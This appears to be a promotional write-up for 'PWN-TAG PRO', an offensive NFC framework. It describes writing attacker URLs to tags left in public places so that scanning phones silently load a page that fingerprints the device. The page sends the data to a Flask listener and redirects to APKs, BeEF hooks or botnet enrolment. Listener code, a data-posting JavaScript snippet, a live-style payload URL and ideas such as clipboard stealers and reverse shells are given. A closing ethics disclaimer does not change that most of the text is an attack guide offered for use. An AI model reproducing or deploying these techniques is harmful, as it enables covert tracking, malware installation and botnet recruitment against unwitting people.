PWN-TAG PRO - Zero-Click NFC Payloads "Tap to PWN." NFC as a silent weapon - delivering payloads without a click. Built for offense. Designed for education. By: ek0mssavi0r.dev What is PWN-TAG? PWN-TAG PRO is a real-world zero-click NFC payload delivery framework. Using NFC (Near Field Communication) tags, we can trigger silent payload execution on mobile devices - no tap confirmation, no user interaction - if we control the redirection domain (like a static ngrok subdomain). This tool helps with: Fingerprinting phones Delivering APKs Botnet joining (like Rogue or Eva ADB botnets) Social engineering ops Real-time JS-based payload delivery PWN-TAG is not a toy - it's an active field exploit vector that uses real-world NFC tech, live payload servers, and modern web exploits. How NFC Tech is Used to Exploit Phones: NFC is a short-range wireless standard (13.56 MHz) used in tap-to-pay, smart posters, and device pairing. NFC tags contain a tiny rewritable chip that can store text, URLs, or commands. When a phone scans an NFC tag: The tag's content (usually a URL) is opened automatically ⚠ On Android, static domains load instantly - no user confirmation On iOS, tags open in Safari or prompt for confirmation unless app-handled PWN-TAG leverages this by writing a malicious static URL to the NFC chip. Once scanned, it instantly opens a live HTML page served from our attack server. Anatomy of a Payload (HTML + JS Breakdown) Let's walk through a core part of test_shell.html, the base payload used in zero-click attacks. payloads/test_shell.html PWN TAG :: Test Shell What This Does Collects passive device data: OS, screen size, language, timezone, etc. POSTs to your listener server (flask_server.py) Redirects silently to another payload (e.g., an APK) This means within 1–2 seconds of a user scanning the NFC tag, you have: Full client fingerprint A logged hit with time and IP Payload delivery in motion flask_server.py - The Listener Here's a snippet from the Flask listener that receives POST data: @app.route('/testlog', methods=['POST']) def testlog(): data = request.get_json() print(f"[+] Fingerprint: {data}") return '', 200 This instantly logs every device that scans your tag - timestamped, printable, and extensible. You can add file writes, IP tracking, Discord webhooks, or full dashboards here. Why Static Domains Matter for Exploitation Free ngrok URLs change every time you reboot: https://abc1234.ngrok.io → BREAKS YOUR TAGS ngrok Pro lets you reserve: https://pwn-tag.ngrok.app → PERMANENT That means once your tag is written - it's valid forever. You can change what the page does anytime without touching the tag again. Static domains = zero-click trigger = red team goldmine Example Payload Use Cases Payload Path Behavior -test_shell.html Fingerprint + redirect Logging and payload delivery -beef_shell.html Injects BEEF JS hook BEEF C2 control (requires setup) -spy.apk Drops APK to Android Direct install attempt -bot_joiner.html Enrolls into Rogue Botnet JS beacon → C2 trigger These payloads are fully editable. You can build: Browser exploit loaders Clipboard stealers WiFi recon tools Fake app updates Crypto wallet phishing pages Reverse shell triggers NFC Magic in Action Writing the tag Use NFC Tools (or any NFC writer): +Tap Write +Add a new URL record Paste in: https://pwn-tag.ngrok.app/payloads/test_shell.html Write the tag Stick it anywhere (conference badge, coffee table, public kiosk) Any NFC-capable phone that taps it → executes your code instantly. Advanced JavaScript Combo Ideas You can chain multiple scripts: Or add active recon: fetch("https://ipinfo.io/json") .then(res => res.json()) .then(data => { fetch("/iplog", { method: "POST", body: JSON.stringify(data), headers: { "Content-Type": "application/json" } }); }); Or even use the camera: You're only limited by browser sandboxing and imagination. Ethics & Responsibility PWN-TAG PRO is for education, research, and red team simulation only. Use this tool to: Teach mobile security Test NFC defenses Demonstrate physical security risks Never use it against real users or targets without explicit permission. Repo Access Explore the full tool on GitHub:  https://github.com/ekomsSavior/PWN-TAG/tree/pwn_tag_pro Final Words NFC is more than payment tech. It's a weapon. PWN-TAG PRO turns an innocent-looking sticker into a stealth payload injector. I built it for the hackers, educators, red teamers, and future defenders. Test it. Break it. Learn from it. Improve it. By ekoms savior Defending the future by building tools worth fearing.